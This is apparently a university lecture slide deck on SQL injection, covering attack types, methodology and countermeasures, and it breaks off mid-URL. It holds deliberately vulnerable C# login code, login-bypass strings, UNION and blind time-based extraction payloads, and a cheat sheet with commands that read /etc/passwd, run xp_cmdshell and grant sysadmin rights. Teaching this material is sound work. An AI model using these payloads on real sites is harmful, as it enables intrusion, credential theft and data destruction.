BUBT | BANGLADESH UNIVERSITY OF BUSINESS AND TECHNOLOGY

Committed to Academic Excellence

SQL INJECTION

Dr. Abdullah-Al-Musa

(B.Sc(Hons) In Computing, M.Engg In Information System Security , PhD)

Lecturer

Department of Computer Science & Engineering

Bangladesh University of Business and Technology (BUBT)

SQL Injection Statistics

- After years of steady decline, 2014 witnessed a **significant uptick** in SQL injection vulnerabilities identified in **publicly released software packages**
- Up to **100k Archos customers** compromised by SQL injection attack
- **1 Million WordPress** websites vulnerable to SQL injection attack
- The online store Mapp. nl has notified customers that hackers have stolen a portion of their customer base, including **157,000 email addresses** and encrypted passwords, Security.NL reports. According to a spokesperson, the attack happened via SQL injection

http://www.net-security.org, http://www.scmagazineuk.com, http://www.tripwire.com, http://www.nltimes.nl

SQL Most Prevalent Vulnerability 2015

Module Objective

- Understanding SQL Injection Concepts
- Understanding various types of SQL Injection Attacks
- Understanding SQL Injection Methodology

- SQL Injection Tools
- Understanding different IDS Evasion Techniques
- SQL injection Countermeasures
- SQL Injection Detection Tools

What is SQL Injection?

SQL injection is a technique used to take advantage of **non-validated input vulnerabilities** to pass SQL commands through a web application for execution by a **backend database**

SQL injection is a basic attack used to either **gain unauthorized access** to a database or to **retrieve information** directly from the database

It is a **flaw in web applications** and not a database or web server issue

Why Bother bout SQL Injection?

On the basis of **application used** and the way it **processes user supplied data**, SQL injection can be used to implement the attacks mentioned below:

Authentication Bypass	Using this attack, an attacker **logs onto an application without providing valid user name and password** and gains administrative privileges
Information Disclosure	Using this attack, an attacker **obtains sensitive information that is stored in the database**
Compromised Data Integrity	An attacker uses this attack to **deface a web page**, insert malicious content into web pages, or alter the contents of a database
Compromised Availability of Data	Attackers use this attack to **delete the database information**, delete log, or audit information that is stored in a database
Remote Code Execution	It assists an attacker to **compromise the host OS**

How Web Applications Work

SQL Injection and Server-side Technologies

Server-side Technology

Powerful server-side technologies like ASP.NET and database servers allow developers to **create dynamic, data-driven websites** with incredible ease

Exploit

The power of ASP.NET and SQL can easily be **exploited by hackers** using SQL injection attacks

Susceptible Databases

All relational databases, SQL Server, Oracle, IBM DB2, and MySQL, are susceptible to **SQL-injection attacks**

Attack

SQL injection attacks do not exploit a specific software vulnerability, instead they **target websites** that do not follow **secure coding practices** for accessing and manipulating data stored in a relational database

Understanding HTTP Post Request

Example: Normal SQL Query

Web Browser

Constructed SQL Query

```
SELECT Count(*) FROM Users WHERE
UserName='Jason' AND Password='Springfield'
```

```
BadLogin.aspx.cs
private void cmdLogin_Click(object sender,
System.EventArgs e)
{ string strCnx =
"server=
 localhost;database=northwind;uid=sa;pwd=;";
SqlConnection cnx = new SqlConnection(strCnx);
 cnx.Open();
//This code is susceptible to SQL injection
attacks.
string strQry = "SELECT Count(*) FROM
Users WHERE UserName='" + txtUser.Text +
"' AND Password='" + txtPassword.Text +
"'";
int intRecs;
SqlCommand cmd = new SqlCommand(strQry, cnx);
intRecs = (int) cmd.ExecuteScalar();
if (intRecs>0) {
FormsAuthentication.RedirectFromLoginPage(txtUser
.Text, false); } else {
lblMsg.Text = "Login attempt failed."; }
cnx.Close();
}
```

Server-side Code (BadLogin.aspx)

BUBT | BANGLADESH UNIVERSITY OF BUSINESS AND TECHNOLOGY

Committed to Academic Excellence

Understanding and SQL Injection Query

```
SELECT Count(*) FROM Users WHERE UserName='Blah' or 1=1 --' AND Password='Springfield'
```

```
SELECT Count(*) FROM Users WHERE UserName='Blah' or 1=1
```

SQL Query Executed

```
--' AND Password='Springfield'
```

Code after -- are now comments

SQL Injection

The acronym SQL (pronounced sequel) stands for Structured Query Language, a language for specifying database queries . SQL was developed in the early 1970s by personnel working for IBM. In the late 1970s the company that later became Oracle developed the language for one of their own products. Soon after, IBM and Oracle both had SQL products on the market. Today, SQL is used in many products, including Microsoft’s SQL Server.

SQL Injection

The malicious person Attacks that use SQL target Websites or web applications that are powered by a back-end database. The attack relies on the strategic insertion of malicious code or statements into existing queries with the intention of viewing or manipulating data that is stored in the tables within the database.

SQL Injection

Due to the ubiquity of SQL, this attack is reasonably portable across different platforms and database types. SQL injection attacks are a common and dangerous mechanism for compromising websites. Many high-profile attacks are a result of SQL injection.

SQL Injection

The attack works by inserting code into an existing line of code prior to its being executed by a database. If SQL injection is successful, attackers can cause their own code to run. In the real world this attack has proven dangerous because many developers are either not aware of the threat or don’t understand its seriousness and in some cases don’t even know how to defend against it.

SQL Injection

From the attacker's side, vulnerability to SQL injections is very easy to detect. Visiting a suspect site and getting it to generate error messages can indicate a potential vulnerability to this type of attack. In addition, the availability of automated and effective tools has increased, setting the bar even lower for successful execution of the attack

SQL Injection

Finally, this type of attack is very attractive for an attacker to perform because of the value of the information that can be obtained. Information, especially personal information, can be sold on the black market for considerable amounts of money depending on what it is.

SQL Attacks in Action

In 2018, Sony Corporation was the victim of a SQL injection that compromised a multitude of accounts (estimated to be over one million emails, usernames, and passwords). The attack was the result of a known vulnerability that could have been discovered through pen testing.

SQL Attacks in Action

In 2016, the U.S. Department of Energy (DoE) and the U.S. Army also found themselves victims of SQL injection. The FBI revealed that a minimum of 100,000 records, including Social Security numbers of current and former federal employees, were compromised. In addition, 2,800 of the records obtained included bank account numbers.

SQL Attacks in Action

When investigating this attack, the FBI revealed that not only the DoE and the Army were impacted; NASA, the U.S. Missile Defense Agency, and the Environmental Protection Agency were also affected. Details of these attacks have not been fully released as of this writing.

SQL Attacks in Action

SQL injection is achieved through the insertion of characters into existing SQL commands with the intention of altering the intended behavior. The following example illustrates SQL injection in action and how it is carried out. The example also reveals the impact of altering the existing values and structure of a SQL query.

SQL Attacks in Action

In the following example, an attacker with the username link inserts their name after the = sign following the WHERE owner, which used to include the string 'name'; DELETE FROM items; -- for itemName, into an existing SQL command, and the query becomes the following two queries:

SQL Attacks in Action

```
SELECT * FROM items
WHERE owner = 'link'
AND itemname = 'name';
DELETE FROM items;--
```

Many of the common database products such as Microsoft's SQL Server and Oracle's Siebel allow several SQL statements separated by semicolons to be executed at once. This technique, known as batch execution,

SQL Attacks in Action

```
SELECT * FROM items
WHERE owner = 'link'
AND itemname = 'name';
DELETE FROM items;--
```

allows an attacker to execute multiple arbitrary commands against a database. In other databases, this technique will generate an error and fail, so knowing the database you are attacking is essential.

SQL Attacks in Action

If an attacker enters the string 'name'; DELETE FROM items; SELECT * FROM items WHERE 'a' = 'a', the following three valid statements will be created:

```
SELECT * FROM items
WHERE owner = 'link'
AND itemname = 'name';
DELETE FROM items;
SELECT * FROM items WHERE 'a' = 'a';
```

If an attack is successful, a host of problems could result:

#Identity spoofing through manipulating databases to insert bogus or misleading information such as email addresses and contact information.

#Alteration of prices in e-commerce applications. In this attack, the intruder once again alters data but does so with the intention of changing price information in order to purchase products or services at a reduced rate.

If an attack is successful, a host of problems could result:

#Alteration of data or outright replacement of data in existing databases with information created by the attacker.

#Escalation of privileges to increase the level of access an attacker has to the system, up to and including full administrative access to the operating system.

#Denial of service, performed by flooding the server with requests designed to overwhelm the system

If an attack is successful, a host of problems could result:

#Destruction or corruption of data through rewriting, altering, or other means.

#Eliminating or altering transactions that have been or will be committed.

The Anatomy of a Web Application:

#The user makes a request through the web browser from the Internet to the web server.
#The web server accepts the request and forwards it to the applicable web application server.
#The web application server performs the requested task.
#The web application accesses the entire database available and responds to the web server.

The Anatomy of a Web Application:

#The web server responds to the user once the transaction is complete.

#The requested information appears on the user's monitor.

Acquiring a Target for Attack:

The potential attacks that can be performed to leverage the flaws in poorly designed websites are beyond count. The seemingly endless combinations of technologies and environments lend themselves to plenty of different attacks.

Server-Side vs. Client-Side Technologies:

First, let's look at the type of technologies involved in browsing and working with the web. They mainly fall into two areas: client-side and server-side technologies. Server-side technologies are those that run and are executed on the server itself before delivering information to the requester. Client-side technologies are those that run within the browser or somewhere on the client side.

Server-Side vs. Client-Side Technologies:

Server-side technologies come in many varieties and types, each of which offers something specific to the user. Generally, each of the technologies allows the creation of dynamic and data-driven web applications. Can use a wide range of server-side technologies to create these types of web applications; among them are the following:

Server-Side vs. Client-Side Technologies:

ASP
ASP.NET
Oracle
PHP
JSP
SQL Server
IBM DB2
MySQL
Ruby on Rails

Server-Side vs. Client-Side Technologies:

All of these technologies are powerful and offer the ability to generate web applications that are extremely versatile. Each also has vulnerabilities that can lead to it being compromised.

Databases and Their Vulnerabilities:

Since ultimately an attacker is going after the information contained in a database, you must have a good understanding of databases. Databases store data such as configuration information, application data, and other information of all shapes and sizes. An attacker who can successfully locate a vulnerable database will find it a tempting target to pursue.

Types of Database:

Relational Database With a relational database, data can be organized and accessed in various ways as appropriate for the situation. For example, a data set containing all the customer orders in a table can be grouped by the zip code in which the transaction occurred, by the sale price, by the buyer's company name, and so on.

Types of Database:

Distributed Database A distributed database is designed to be dispersed or replicated between different locations across a network.

Object-Oriented Programming Database An object-oriented programming database is built around data-defined object classes and subclasses. Within a database are several structures designed to organize and structure information. Each structure allows the data to be easily managed, queried, and retrieved.

Types of Database:

Distributed Database A distributed database is designed to be dispersed or replicated between different locations across a network.

Object-Oriented Programming Database An object-oriented programming database is built around data-defined object classes and subclasses. Within a database are several structures designed to organize and structure information. Each structure allows the data to be easily managed, queried, and retrieved.

Types of Database:

Distributed Database A distributed database is designed to be dispersed or replicated between different locations across a network.

Object-Oriented Programming Database An object-oriented programming database is built around data-defined object classes and subclasses. Within a database are several structures designed to organize and structure information. Each structure allows the data to be easily managed, queried, and retrieved.

:

SQL Injection Attacks

Information Gathering:

Understanding SQL is important to the process of gathering further and more detailed information about a target. Being able to skillfully create and formulate SQL statements allows you to manipulate and access information.

Information Gathering:

The differences in syntax between database software packages can be extremely subtle and completely invisible to the untrained eye. In one database package the colon character may be used, but in another it may be a semi-colon, for example. Using the wrong one in place of the other can cause your efforts to fail. However, recognizing which character is acceptable and which is not can clue you in to the database application in use.

SQL Injection Countermeasures:

SQL injection can be one of the hardest attacks and one of the most powerful to exploit. However, defenses are available to make them less damaging or less likely to occur.

SQL Injection Countermeasures:

First, one of the most powerful tools to stop SQL injection is to use validation. For example, if your application expects an email address, then the application should not accept data that does not match the format of an email address. Or if it expects numbers, it should not accept symbols or letters.

SQL Injection Countermeasures:

Validation of information can take place on either the client side or the server side. It's best to use both, because client-side validation is easy for an attacker to thwart. While it may seem that if the security risk is eliminated completely by using server-side, the best option would be to always use server-side, but this is not the case.

SQL Injection Countermeasures:

Client-side is valuable because it not only offloads some processing to the client but at the same time can also prevent bad or bogus results from getting to the server.

Here are some other common defenses against SQL injections:

Avoid the use of dynamic SQL. These are queries that are built on demand. Dynamic statements are generated from the options and choices made on the client side. Avoid such statements in favor of using stored procedures or predefined statements.

#Perform maintenance on the server regularly and keep an eye out for software updates and patches.

Here are some other common defenses against SQL injections:

#Intrusion detection systems also play a vital role in protecting these systems much as they do with other network components. In fact, some IDSs can monitor interactions at the database layer.

Here are some other common defenses against SQL injections:

#Harden a system to include the operating system and database. Every database has countless options and features, of which only a handful tend to get used regularly. Disabling unneeded features prevents them from being used maliciously. For example, the xp_cmdshell command should always be disabled in a database application.

Here are some other common defenses against SQL injections:

#Exercise least privilege and give the database and the applications that attach to it only the access they need and nothing more.

#Ensure that applications are well tested before deployment into production.

#Avoid default configurations and passwords.

#Disable error messages outside the test and development environments.

Understanding and SQL Injection Query- Code Analysis

1. A user enters a user name and password that **matches a record** in the **user's table**
2. A dynamically generated SQL query is used to **retrieve** the number of matching rows
3. The user is then **authenticated and redirected** to the requested page
4. When the attacker enters **blah' or 1=1 --** then the SQL query will look like:

```
SELECT Count(*) FROM Users WHERE UserName='blah' Or 1=1 --' AND Password=''
```

5. Because a pair of hyphens designate the beginning of a comment in SQL, the query simply becomes:

```
SELECT Count(*) FROM Users WHERE UserName='blah' Or 1=1
```

```
string strQry = "SELECT Count(*) FROM Users WHERE UserName='" +
txtUser.Text + "' AND Password='" + txtPassword.Text + "'";
```

Example of Web App Vulnerability to SQL Injection: BadProductList.aspx

http://www.juggyboyshop.com/BadProductList.aspx

```
private void cmdFilter_Click(object sender, System.EventArgs e) {
    dgrProducts.CurrentPageIndex = 0;
    bindDataGrid(); }

private void bindDataGrid() {
    dgrProducts.DataSource = createDataView();
    dgrProducts.DataBind(); }

private DataView createDataView()  {
    string strCnx =
     "server=localhost;uid=sa;pwd=;database=northwind;";
    string strSQL = "SELECT ProductId, ProductName, " +
     "QuantityPerUnit, UnitPrice FROM Products";

    //This code is susceptible to SQL injection attacks.
    if (txtFilter.Text.Length > 0) {
        strSQL += " WHERE ProductName LIKE '" + txtFilter.Text + "'"; }

    SqlConnection cnx  = new SqlConnection(strCnx);
    SqlDataAdapter sda = new SqlDataAdapter(strSQL, cnx);
    DataTable dtProducts = new DataTable();

    sda.Fill(dtProducts);
    return dtProducts.DefaultView;
}
```

Attack Occurs Here

This page displays products from the Northwind database and allows users to **filter the resulting list of products** using a textbox called txtFilter

Like the previous example (**BadLogin.aspx**), this code is vulnerable to SQL injection attacks

The executed SQL is constructed **dynamically** from a user-supplied input

Example of Web App Vulnerable to SQL Injection: Attack Analysis

Attacker Launching SQL Injection

```
blah' UNION Select 0, username,
password, 0 from users --
```

SQL Query Executed

```
SELECT ProductId, ProductName, QuantityPerUnit, UnitPrice FROM Products WHERE
ProductName LIKE 'blah' UNION Select 0, username, password, 0 from users --
```

Example of SQL Injection: Updating Table

Attacker Launching SQL Injection

```
blah'; UPDATE jb-customers SET jb-email
= 'info@juggyboy.com' WHERE email
='jason@springfield.com; --
```

SQL Injection Vulnerable Website

SQL Query Executed

```
SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FROM members
WHERE jb-email = 'blah'; UPDATE jb-customers SET jb-email = 'info@juggyboy.com'
WHERE email ='jason@springfield.com; --';
```

Example of SQL Injection: Adding New Records

Attacker Launching SQL Injection

```
blah'; INSERT INTO jb-customers ('jb-email','jb-passwd','jb-login_id','jb-last_name') VALUES ('jason@springfield.com','hello','jason','jason springfield');--
```

SQL Injection Vulnerable Website

SQL Query Executed

```
SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FROM members
WHERE email = 'blah'; INSERT INTO jb-customers ('jb-email','jb-passwd','jb-login_id','jb-last_name') VALUES ('jason@springfield.com','hello','jason', 'jason springfield');--';
```

Example of SQL Injection: Identifying the table Name

SQL Query Executed

```
SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FROM table WHERE jb-email =
'blah' AND 1=(SELECT COUNT(*) FROM mytable); --';
```

Example of SQL Injection: Deleting Table

Types of SQL Injection

Error Based SQL Injection

- Error based SQL Injection forces the database to perform some operation in which the **result will be an error**
- This exploitation may differ from one DBMS to the other

- Consider the SQL query shown below:

```
SELECT * FROM products WHERE
id_product=$id_product
```

- Consider the request to a script who executes the query above:

```
http://www.example.com/product.
php?id=10
```

- The malicious request would be (for ex: Oracle 10g):

```
http://www.example.com/product.php?
id=10||UTL_INADDR.GET_HOST_NAME(
(SELECT user FROM DUAL) )—
```

- In the example, the tester concatenates the value 10 with the result of the function `UTL_INADDR.GET_HOST_NAME`
- This Oracle function will try to return the hostname of the parameter passed to it, which is other query, the name of the user
- When the database looks for a hostname with the user database name, it will fail and return an error message like:

```
ORA-292257: host SCOTT unknown
```

- Then the tester can manipulate the parameter passed to `GET_HOST_NAME()` function and the result will be shown in the error message

Error Based SQL Injection

System Stored Procedure	Attackers **exploit databases' stored procedures** to perpetrate their attacks
End of Line Comment	After injecting code into a particular field, legitimate code that follows is nullified through usage of end of line comments `SELECT * FROM user WHERE name = 'x' AND userid IS NULL; --';`
Illegal/Logically Incorrect Query	An attacker may gain knowledge by injecting illegal/logically incorrect requests such as **injectable parameters**, **data types**, **names of tables**, etc.
Tautology	Injecting statements that are always true so that queries always return results upon evaluation of a WHERE condition `SELECT * FROM users WHERE name = '' OR '1'='1';`
Union SQL Injection	"UNION SELECT" statement returns the union of the intended dataset with the target dataset `SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable`

Union SQL Injection

- This technique involves **joining a forged query** to the **original query**
- Result of forged query will be joined to the result of the original query thereby allowing to obtain the **values of fields of other tables**

Example:

```
SELECT Name, Phone, Address FROM Users WHERE Id=$id
```

Now set the following Id value:

```
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
```

The final query is as shown below:

```
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT
creditCardNumber,1,1 FROM CreditCardTable
```

The above query joins the result of the original query with all the credit card users

Blind SQL Injection

No Error Message	Blind SQL Injection is used when a **web application is vulnerable** to an SQL injection but the results of the injection are not visible to the attacker
Generic Page	Blind SQL injection is identical to a normal SQL Injection except that when an attacker attempts to exploit an application rather than seeing a **useful error message**, a generic custom page is displayed
Time-intensive	This type of attack can become **time-intensive because a new statement** must be crafted for each bit recovered

Note: An attacker can still steal data by asking a series of True and False questions through SQL statements

No Error Messages Returned

Blind SQL Injection: WAITFOR DELY(YES or NO Response)

Boolean Exploitation Technique

01 Multiple valid statements that evaluate to **true** and **false** are supplied in the affected parameter in the **HTTP request**

02 By comparing the response page between both conditions, the attackers can infer whether or not the **injection was successful**

03 This technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the **outcome of an operation**

SQL Injection Methodology

Information Gathering

01 Check if the web application connects to a Database Server in order to access some data

02 List all input fields, hidden fields, and post requests whose values could be used in crafting a SQL query

03 Attempt to inject codes into the input fields to generate an error

04 Try to insert a string value where a number is expected in the input field

05 The UNION operator is used to combine the result-set of two or more SELECT statements

06 Detailed error messages provide a wealth of information to an attacker in order to execute SQL injection

Identify Data Entry Paths

Attackers analyze web **GET** and **POST** requests to identify all the input fields, hidden fields, and cookies

Tamper Data

Burp Suite

http://portswigger.net

Extracting Information through Error Messages

- Error messages are essential for **extracting information** from the database
- It gives you the information about **operating system**, **database type**, database version, privilege level, OS interaction level, etc.
- Depending on the **type of errors found**, you can **vary the attack techniques**

Information Gathering Techniques

Parameter Tampering

- Attacker manipulates parameters of GET and POST requests to generate errors
- Error may give information such as database server name, directory structures, and the functions used for the SQL query
- Parameters can be tampered directly from address bar or using proxies

http://juggyboy.com/download.php?id=car

http://juggyboy.com/download.php?id=horse

http://juggyboy.com/download.php?id=book

Extracting Information through Error Messages (Cont'd)

Determining Database Engine Type

- Mostly the error messages will show you what **DB engine** you are working with
- ODBC errors will display **database type** as part of the driver information
- If you do not receive any ODBC error message, make an educated guess based on the **Operating System** and **Web Server**

Determining a SELECT Query Structure

- Try to replicate an **error free navigation**
- Could be as simple as ' and '1' = '1 Or ' and '1' = '2
- Generate specific errors
- Determine table and column names
  ' group by *columnnames* having 1=1 –
- Do we need parenthesis? Is it a subquery?

Injections

Most injections will land in the middle of a **SELECT** statement. In a SELECT clause we almost always end up in the **WHERE** section

Select Statement

```
SELECT * FROM table WHERE x =
'normalinput' group by x
having 1=1 -- GROUP BY x
HAVING x = y ORDER BY x
```

Extracting Information through Error Messages (Cont'd)

Grouping Error

- HAVING command allows to further define a query based on the "grouped" fields
- The error message will tell us which columns have not been grouped

```
' group by columnnames having 1=1 --
```

SQLSTATE[44568]: Grouping error: 7
ERROR: column "columnnames" must appear in the GROUP BY clause or be used in an aggregate function
LINE 1: SELECT DISTINCT posts.id, posts.* FROM "posts" GROUP BY "pos..

Type Mismatch

- Try to insert strings into numeric fields; the error messages will show the data that could not get converted

```
' union select 1,1,'text',1,1,1 --
' union select 1,1, bigint,1,1,1 --
```

Error #3132: Data type mismatch.', details:'could not convert text value to numeric value'.

Blind Injection

- Use time delays or error signatures to determine extract information

```
'; if condition  waitfor delay '0:0:5' --
'; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;
```

Extracting Information through Error Messages (Cont'd)

Note: If applications do not provide detailed error messages and return a simple '**500 Server Error**' or a custom error page then **attempt blind injection techniques**

Testing for SQL Injection

Testing String
||6
'||'6
(||6)
' OR 1=1--
OR 1=1
' OR '1'='1
; OR '1'='1'
%27+--+
" or 1=1--
' or 1=1 /*

Testing String
or 1=1--
" or "a"="a
Admin' OR '
' having 1=1--
' OR 'text' = N'text'
' OR 2 > 1
' OR 'text' > 't'
' union select
Password:*/=1--
' or 1/*

Testing String
%22+or+isnull%281%2F0%29+%2F*
' group by userid having 1=1--
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
CRATE USER name IDENTIFIED BY 'pass123'
' union select 1,load_file('/etc/passwd'),1,1,1;
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
exec sp_addsrvrolemember 'name' , 'sysadmin'
GRANT CONNECT TO name; GRANT RESOURCE TO name;
' union select * from users where login = char(114,111,111,116);

Testing String
'/**/OR/**/1/**/=/**/1
' or 1 in (select @@version)--
' union all select @@version--
' OR 'unusual' = 'unusual'
' OR 'something' = 'some'+'thing'
' OR 'something' like 'some%'
' OR 'whatever' in ('whatever')
' OR 2 BETWEEN 1 and 3
' or username like char(37);

Testing String
UNI/**/ON SEL/**/ECT
'; EXEC ('SEL' + 'ECT US' + 'ER')
+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
' and 1 in (select var from temp)--
' ; drop table temp --
exec sp_addlogin 'name' , 'password'
@var select @var as var into temp end --

Note: Check CEHv9 Tools DVD, Module: 13 SQL Injection for comprehensive SQL injection cheat sheet

Additional Methods to Detect SQL Injection

- **Function Testing**
  This testing falls within the scope of black box testing, and as such, should require no knowledge of the **inner design of the code or logic**
- **Fuzzing Testing**
  It is an adaptive SQL injection testing technique used to **discover coding errors** by inputting massive amount of random data and observing the changes in the output
- **Static/Dynamic Testing**
  Analysis of the **web application source code**

Example of Function Testing

- http://juggyboy/?parameter=123
- http://juggyboy/?parameter=1'
- http://juggyboy/?parameter=1'#
- http://juggyboy/?parameter=1"
- http://juggyboy/?parameter=1 AND 1=1--
- http://juggyboy/?parameter=1'-
- http://juggyboy/?parameter=1 AND 1=2--
- http://juggyboy/?parameter=1'/*
- http://juggyboy/?parameter=1' AND '1'='1
- http://juggyboy/?parameter=1 order by 1000

SQL Injection Black Box Pen Testing

Detecting SQL Injection Issues

- Send **single quotes** as the input data to catch instances where the user input is not sanitized
- Send **double quotes** as the input data to catch instances where the user input is not sanitized

Detecting Input Sanitization

Use **right square bracket** (the] character) as the input data to catch instances where the user input is used as part of a SQL identifier without any input sanitization

Detecting Truncation Issues

Send **long strings** of junk data, just as you would send strings to detect buffer overruns; this action might throw SQL errors on the page

Detecting SQL Modification

- Send long strings of single quote characters (or right square brackets or double quotes)
- These max out the return values from **REPLACE** and **QUOTENAME** functions and might truncate the command variable used to hold the SQL statement

Source Code Review to Detect SQL Injection Vulnerabilities

The source code review aims at **locating** and **analyzing** the areas of the **code vulnerable** to SQL injection attacks

This can be performed either manually or with the help of tools such as **Microsoft Source Code Analyzer**, **CodeSecure**, **HP QAInspect**, **PLSQLScanner 2008**, etc.

Static Code Analysis

- Analyzing the source code without executing
- Helps to understand the security issues present in the source code of the program

Dynamic Code Analysis

- Code analysis at runtime
- Capable of finding the security issues caused by interaction of code with SQL databases, web services, etc.

SQL Injection Methodology

Perform Union SQL Injection

Union SQL Injection - Extract Database Name

```
http://www.juggyboy.com/page.aspx?id=1 UNION SELECT ALL 1,DB_NAME,3,4--
```

[DB_NAME] *Returned from the server*

Union SQL Injection - Extract Database Tables

```
http://www.juggyboy.com/page.aspx?id=1 UNION SELECT ALL 1,TABLE_NAME,3,4 from sysobjects where xtype=char(85)--
```

[EMPLOYEE_TABLE] *Returned from the server*

Union SQL Injection - Extract Table Column Names

```
http://www.juggyboy.com/page.aspx?id=1 UNION SELECT ALL 1,column_name,3,4 from DB_NAME.information_schema.columns where table_name ='EMPLOYEE_TABLE'--
```

[EMPLOYEE_NAME]

Union SQL Injection - Extract 1st Field Data

```
http://www.juggyboy.com/page.aspx?id=1 UNION SELECT ALL 1,COLUMN-NAME-1,3,4 from EMPLOYEE_NAME --
```

[FIELD 1 VALUE] *Returned from the server*

Perform Error Based SQL Injection

Extract Database Name

- http://www.juggyboy.com/page.aspx?id=1 or 1=convert(int,(DB_NAME))--
- Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int.

Extract 1st Database Table

- http://www.juggyboy.com/page.aspx?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85)))--
- Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data type int.

Extract 1st Table Column Name

- http://www.juggyboy.com/page.aspx?id=1 or 1=convert(int, (select top 1 column_name from DBNAME.information_schema.columns where table_name='TABLE-NAME-1'))--
- Syntax error converting the nvarchar value '[COLUMN NAME 1]' to a column of data type int.

Extract 1st Field of 1st Row (Data)

- http://www.juggyboy.com/page.aspx?id=1 or 1=convert(int, (select top 1 COLUMN-NAME-1 from TABLE-NAME-1))--
- Syntax error converting the nvarchar value '[FIELD 1 VALUE]' to a column of data type int.

Perform Error Based SQL Injection: Using Stored Procedure Injection

When using dynamic SQL within a stored procedure, the application must **properly sanitize the user input** to eliminate the risk of code injection, otherwise there is a chance of executing malicious SQL within the stored procedure

Consider the SQL Server Stored Procedure shown below:

```
Create procedure user_login @username
varchar(20), @passwd varchar(20) As
Declare @sqlstring varchar(250)
Set @sqlstring = '
Select 1 from users
Where username = ' + @username + ' and
passwd = ' + @passwd
exec(@sqlstring) Go User input:
anyusername or 1=1' anypassword
```

The procedure **does not sanitize the input**, allowing the return value to display an existing record with these parameters

Consider the SQL Server Stored Procedure shown below:

```
Create procedure get_report
@columnamelist varchar(7900) As
Declare @sqlstring varchar(8000) Set
@sqlstring = ' Select ' +
@columnamelist + ' from ReportTable'
exec(@sqlstring) Go
```

User input:

```
1 from users; update users set
password = 'password'; select *
```

This results in the report running and all **users' passwords being updated**

Note: The example given above may seem unlikely due to the use of dynamic SQL to log in a user, consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code in this case and compromise the data

Bypass Website Logins Using SQL Injection

Try these at website login forms

```
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
```

Login as different User

```
' UNION SELECT 1,'anotheruser','doesnt
matter', 1--
```

Try to bypass login by avoiding MD5 hash check

- You can union results with a known password and MD5 hash of supplied password
- The Web Application will compare your password and the supplied MD5 hash instead of MD5 from the database
- **Example:**

```
Username : admin
Password : 1234 ' AND 1=0 UNION
ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055
= MD5(1234)
```

Perform Blind SQL Injection: Exploitation (MySQL)

Blind SQL Injection: Extract Database User

01 Check for username length

```
http://www.juggyboy.com/page.aspx?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--
```

Keep increasing the value of `LEN(USER)` until DBMS returns TRUE

02 Check if 1st character in username contains 'A' (a=97), 'B', or 'C' etc.

```
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),1,1)))=97)  WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),1,1)))=98)  WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),1,1)))=99)  WAITFOR DELAY '00:00:10'--
```

Keep increasing the value of `ASCII(lower(substring((USER),1,1)))` until DBMS returns TRUE

03 Check if 2nd character in username contains 'A' (a=97), 'B', or 'C' etc.

```
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),2,1)))=97)  WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),2,1)))=98)  WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),2,1)))=99)  WAITFOR DELAY '00:00:10'--
```

Keep increasing the value of `ASCII(lower(substring((USER),2,1)))` until DBMS returns TRUE

04 Check if 3rd character in username contains 'A' (a=97), 'B', or 'C' etc.

```
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),3,1)))=97)  WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),3,1)))=98)  WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),3,1)))=99)  WAITFOR DELAY '00:00:10'--
```

Keep increasing the value of `ASCII(lower(substring((USER),3,1)))` until DBMS returns TRUE

Blind SQL Injection: Extract Database Name

Check for Database Name Length and Name

```
http://www.juggyboy.com/page.aspx?id=1; IF (LEN(DB_NAME())=4) WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((DB_NAME()),1,1)))=97)  WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((DB_NAME()),2,1)))=98)  WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((DB_NAME()),3,1)))=99)  WAITFOR DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((DB_NAME()),4,1)))=100) WAITFOR DELAY '00:00:10'--
```

Database Name = ABCD (Considering that the database returned true for above statement)

Extract 1st Database Table

```
http://www.juggyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 NAME from sysobjects where xtype='U')=3) WAITFOR
DELAY '00:00:10'--
http://www.juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where
